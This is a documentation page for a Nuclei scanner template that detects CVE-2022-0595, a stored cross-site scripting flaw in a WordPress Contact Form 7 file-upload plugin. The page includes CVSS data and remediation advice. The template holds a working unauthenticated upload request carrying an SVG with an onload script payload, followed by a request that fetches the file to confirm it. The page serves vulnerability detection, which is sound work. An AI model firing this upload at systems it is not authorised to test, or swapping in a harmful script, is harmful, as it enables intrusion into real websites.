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WordPress Contact Form 7 <1.3.6.3 - Stored Cross-Site Scripting

ID: CVE-2022-0595

Severity: medium

Author: akincibor

Tags: cve,cve2022,xss,wordpress,wp-plugin,wpscan,fileupload,intrusive,unauth,codedropz

Description

Section titled “Description”

WordPress Contact Form 7 before 1.3.6.3 contains an unauthenticated stored cross-site scripting vulnerability in the Drag and Drop Multiple File Upload plugin. SVG files can be uploaded by default via the dnd_codedropz_upload AJAX action.

YAML Source

Section titled “YAML Source”
id: CVE-2022-0595


info:
  name: WordPress Contact Form 7 <1.3.6.3 - Stored Cross-Site Scripting
  author: akincibor
  severity: medium
  description: |
    WordPress Contact Form 7 before 1.3.6.3 contains an unauthenticated stored cross-site scripting vulnerability in the Drag and Drop Multiple File Upload plugin. SVG files can be uploaded by default via the dnd_codedropz_upload AJAX action.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.
  remediation: |
    Update the WordPress Contact Form 7 plugin to version 1.3.6.3 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/1b849957-eaca-47ea-8f84-23a3a98cc8de
    - https://plugins.trac.wordpress.org/changeset/2686614
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-0595
    cwe-id: CWE-79
    epss-score: 0.00102
    epss-percentile: 0.40538
    cpe: cpe:2.3:a:codedropz:drag_and_drop_multiple_file_upload_-_contact_form_7:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: codedropz
    product: drag_and_drop_multiple_file_upload_-_contact_form_7
    framework: wordpress
  tags: cve,cve2022,xss,wordpress,wp-plugin,wpscan,fileupload,intrusive,unauth,codedropz


http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------92633278134516118923780781161


        -----------------------------92633278134516118923780781161
        Content-Disposition: form-data; name="size_limit"


        10485760
        -----------------------------92633278134516118923780781161
        Content-Disposition: form-data; name="action"


        dnd_codedropz_upload
        -----------------------------92633278134516118923780781161
        Content-Disposition: form-data; name="type"


        click
        -----------------------------92633278134516118923780781161
        Content-Disposition: form-data; name="upload-file"; filename="{{randstr}}.svg"
        Content-Type: image/jpeg


        <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
        -----------------------------92633278134516118923780781161--
      - |
        GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{{randstr}}.svg HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "alert(document.domain)")'
          - 'status_code_2 == 200'
        condition: and
# digest: 4b0a00483046022100decbf64344387b967fb2fc51652b156014f42a8439ba5c0cca5ebb52deb26fac022100fc5327d4c1cbba9d8cde726a5ae19a85a9c764c04e4fd7288eeeba1d3050f228:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0595.yaml"

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